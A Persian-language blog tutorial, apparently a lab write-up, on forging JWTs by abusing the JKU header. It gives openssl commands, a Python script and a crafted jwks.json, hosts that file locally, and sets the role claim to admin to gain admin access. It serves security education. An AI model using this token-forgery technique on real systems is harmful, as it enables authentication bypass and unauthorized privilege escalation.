Hassan Mohammadi
Hassan Mohammadi
خواندن ۵ دقیقه·۳ سال پیش

ساخت JWT جعلی با سوء استفاده از JKU

بعضی وقتا توی هدر توکن های JWT پارامتری به نام JKU وجود داره، این پارامتر یک URL هست که به مجموعه ای از کلید های عمومی اشاره داره و سرور برای تایید توکن از این کلید های عمومی استفاده میکنه، توی این پست ما درمورد سوء استفاده از این پارامتر حرف میزنیم و توضیح میدیم که چطور یه توکن جعلی با مشخصات دلخواه تولید کنیم.

قبله اینکه ادامه بدیم اگه درمورد JWT اطلاعات زیادی ندارید ما یه سری توضیحات مختصر دادیم ولی بهتره خودتون در موردش بیشتر مطالعه کنید.

Resources for study

توکن JWT چیه ؟

توکن JWT یا JSON Web Token یک رشته رمزنگاری شده هست که برای احراز هویت کاربران استفاده میشه،

هر کاربر بعد از لاگین کردن، یه توکن برای اون تولید میشه. این توکن مختص به هر کاربر هست و یکتاست. هر زمان که کاربر درخواست دسترسی به منبعی (resource) رو میده، به همراه درخواست، توکن خودشو تو header میزاره (یا میتونه تو کوکی های مرورگر ذخیره شده باشد) و می‌فرسته . سرور با decode کردن توکن می‌تونه بفهمه که کاربر مجوز دسترسی به یک منبع را دارده یا خیر.

ساختار احراز هویت کاربر
ساختار احراز هویت کاربر


یک توکن JWT از سه بخش تشکیل شده:

  1. Header
هدر معمولا از دو بخش تشکیل شده نوع توکن و الگوریتم رمزنگاری شده.

2. Payload

قسمت payload حاوی اطلاعات مورد نیاز هست که به آن‌ها claim هم می‍‌گن.

3. Signature

امضای توکن برای بررسی صحت توکن استفاده میشه.


یک نمونه توکن JWT  و دیتا های هر بخش
یک نمونه توکن JWT و دیتا های هر بخش

JKU

تو قسمت قبلی ما با JWT اشنا شدیم در این قسمت به پارامتر JKU میپردازیم، همون طور که در بخش اول توضیح دادیم JKU (JWK Set URL) یک URI هست که به مجموعه ای از کلیدهای عمومی encode شده با JSON اشاره میکنه که یکی از آنها مربوط به کلید مورد استفاده برای امضای دیجیتالی JWS یا JSON Web Signature هست.

خوب، شما می تونید تو ? اینجا ? بیشتر در مورد JWS بخونید چون خارج از محدوده این پست هست.


scenario

من تو یه lab که برای این مشکل طراحی شده است ثبت نام کردم، بعد از ثبت نام، سایت یک توکن در اختار من قرار داد، توکن های JWT به شکل زیر هستن:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImprdSI6Imh0dHA6Ly93aXRyYXAuY29tOjgwMDAvandrcy5qc29uIn0.eyJpYXQiOjE1NzQyNjk0NTksInJvbGUiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNTc0MzU1ODU5fQ.Kx3O-EV_w5jLteNLbOkT0qih0m52vnn1JJniRCVPB8jP0S-UdnhET8f0kO_q88DyyXYzTUosusQ4a5D87ZhoXM5kQSokN-FKUok1oMQaa4fPydq4jEb9ReTO6pJv3OsK17JiGEAWpWcE9fYbQAT59sUGfG1qKvZssiJtHTUljzy4B8y1fBOkik4L_rYJc5fD-d4lLAhAY6 — kt_CiD0gv3OmI4IyHNiPnbKIHhe_YbCsU7VgOaA3vDCxDJ8SXc5ctM2PeUqfwwq18Fz_8z6syuwDAj_dslKp7bwMzKVKhJcwINUPvLF1-FOzdG3bFrwLq3JZ59whgIMR2NU_2mhwVA

با استفاده از سایت jwt.io می تونیم هدر و بخش های مختلف توکن رو مشاهده کنیم:

  • الگوریتم مورد استفاده برای امضای توکن "RS256" هست.
  • این توکن از پارامتر هدر JKU استفاده میکنه که حاوی URL مجموعه JSON Web Key هست که برای تأیید توکن استفاده میشه.

اگر فایل jwks.json را مشاهده کنیم:

curl http://witrap.com:8000/jwks.json
دیتای موجود در jwks
دیتای موجود در jwks

اگر مهاجم یک جفت کلید عمومی-خصوصی ایجاد کنه و با استفاده از کلید خصوصی تولید شده یک توکن جعلی ایجاد کنه و مقدار پارامتر "jku" را با URI جدید جایگزین کنه، در اصل توکن جعلی توسط سرور پذیرفته میشه.

برای ساخت یک توکن جعلی می تونیم مراحل زیر رو طی کنیم
  • مرحله اول : ایجاد یک جفت کلید عمومی-خصوصی

برای ایجاد کلید عمومی- خصوصی از دستور های زیر استفاده می کنیم :

openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem - out pkcs8.key
خروجی دستور های بالا
خروجی دستور های بالا

Private Key: pkcs8.key

Public Key: publickey.crt

برای ساخت توکن از سایت jwt.io استفاده می کنیم :

کلید عمومی (publickey.crt) و کلید خصوصی (pkcs8.key) رو تو مکان های مربوطه به خود در بخش "VERIFY SIGNATURE" قرار میدیم.

  قرار دادن کلید عمومی - خصوصی
قرار دادن کلید عمومی - خصوصی
در صورت درست قراردادن کلید ها قسمت Signature Verified به رنگ ابی درمیاد در صورت اینکه کلید ها مشکلی داشته باشه و معتبر نباشه هشدار میده.

نقش یا role رو روی "admin" تنظیم می کنیم، یعنی ما میخوایم به سطح دسترسی ادمین برسیم و یه جورایی داریم توکن اونو جعل می کنیم

تغییر role به admin
تغییر role به admin

در اینجا می تونیم ادرس JKU رو تغییر بدیم که روند این کار رو توی قسمت بعدی توضیح میدیم.

من چون با VPN به این lab متصل هستم پس یه جورایی با lab توی یه شبکه هستیم اگه بخوایم این سناریو رو توی دنیا واقعی پیاده کنیم باید محلی برای اپلود jwks.json داشته باشیم ، در واقع این سناریو که دارم توضیحش میدم یه جورایی توی محیط لوکال هست.

بزارید فایل jwks.json رو بگیریم ببینیم چه محتوایی داره:

wget http://witrap.com:8000/jwks.json
اطلاعات فایل jwks.json
اطلاعات فایل jwks.json

خوب همون طور که مشاهده می کنید دو فیلد n و e داره برای اینکه بتونیم کلید عمومی که توی قسمت بالا تولید کردیم رو به این فرمت تبدیل کنیم میتونیم از این اسکریپت پایتونی استفاده کنیم:

from Crypto.PublicKey import RSA fp = open(&quotpublickey.crt&quot, &quotr&quot) key = RSA.importKey(fp.read()) fp.close() print(&quotn:&quot, hex(key.n)) print(&quote:&quot, hex(key.e))

اسکریپت بالا رو میتونیم با دستور زیر اجرا کنیم:

python3 ./getPublicParams.py

خروجی دستور:

python3 ./getPublicParams.py
n:0xb9e1e6b260bacff52a8a2b709d262e0a5632b152daf87cc20c18bb57d7f4cb491fe5a8e0719bbd9ff8a642ec2121eaae822d406f81c0d530fd71b0e66d99613a5b935feb76ee5c3fb9c7e5dfead9061e23150696901edb80bdf66c320d2883b0d27c742ff7030b2d50df9e5b2f4a280c22de5671a007bc37c164fc3424a0d653882c136ff85fdcd7a7c5e8cb5ffbce5609d7ea57e777350634c2eed4de9cdd900367e7198bafe1fe328f6dae2a7a5537adf0cfb01a273f1db040d67ac02520f920283d99cfb066ae143d9f7343e1e4ad0ba7c68e6d422e39cd0a18e5ebb80f34491c39d3c4f25be75cd64604d1ed7ea08dec2e2b8b00eaafd5f068c9eb48400d e: 0x10001

طبق ساختار jwks.json قبلی که بار گیری کردیم کلید ها n و e تولید شده را جایگذاری می کنیم و دوباره سیو می کنیم، jwks نهایی به این شکله:

cat ./jwks.json
{ &quotkeys&quot: [ { &quotkty&quot: &quotRSA&quot, &quotuse&quot: &quotsig&quot, &quotkid&quot: &quot324-23234324-544535-1320214&quot, &quotalg&quot: &quotRS256&quot, &quotn&quot: &quotb9e1e6b260bacff52a8a2b709d262e0a5632b152daf87cc20c18bb57d7f4cb491fe5a8e0719bbd9ff8a642ec2121eaae822d406f81c0d530fd71b0e66d99613a5b935feb76ee5c3fb9c7e5dfead9061e23150696901edb80bdf66c320d2883b0d27c742ff7030b2d50df9e5b2f4a280c22de5671a007bc37c164fc3424a0d653882c136ff85fdcd7a7c5e8cb5ffbce5609d7ea57e777350634c2eed4de9cdd900367e7198bafe1fe328f6dae2a7a5537adf0cfb01a273f1db040d67ac02520f920283d99cfb066ae143d9f7343e1e4ad0ba7c68e6d422e39cd0a18e5ebb80f34491c39d3c4f25be75cd64604d1ed7ea08dec2e2b8b00eaafd5f068c9eb48400d&quot, &quote&quot: &quot10001&quot } ] }

حالا باید یک سرور HTTP راه اندازی کنیم برای این کار از پایتون استفاده می کنیم:

python -m SimpleHTTPServer 8080

اگه مثله من از پایتون 3 استفاده می کنید :

python3 -m http.server 8080

تو مرحله بعد ادرس لوکال خودمونو جای ادرس قبلی میزاریم:

تغییر ادرس JKU پیشفرض به ادرس جدید
تغییر ادرس JKU پیشفرض به ادرس جدید

اگه توکن تولید شده رو توی هدر درخواستمون بزاریم و یک ریکوست به سایت بزنیم می بینیم که سرور هنگام برسی توکن ما یک در خواست به JKU جعلی ما ارسال میکنه و عملا توکنی که ساختیم رو با کلید عمومی ما برسی میکنه و 100 درصد تایید میشه ?

درخواست دریافت شده
درخواست دریافت شده

توی این سناریو ما تونستیم یه توکن با PAYLOAD مورد نظر بسازیم و به سطح دسترسی ادمین برسیم.

A simple software student
شاید از این پست‌ها خوشتان بیاید